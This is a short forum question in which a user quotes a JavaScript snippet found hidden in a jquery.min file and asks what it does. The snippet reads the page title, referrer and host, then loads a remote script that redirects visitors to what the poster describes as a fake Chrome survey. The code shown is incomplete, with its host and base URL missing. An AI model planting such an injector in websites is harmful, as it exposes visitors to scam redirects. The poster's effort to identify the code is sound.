Javascript Question

What is this javascript code doing

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(; var base = ""; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

That script will redirect user to a site, but it seems to ban you if you visit it two times. I visited the url I was redirected to and I only saw a Google Chrome survey.
Then I tried using a proxy and one of the things you might get is:


The fact of it hidding in a jquery.min file makes me belive it's not something wanted.
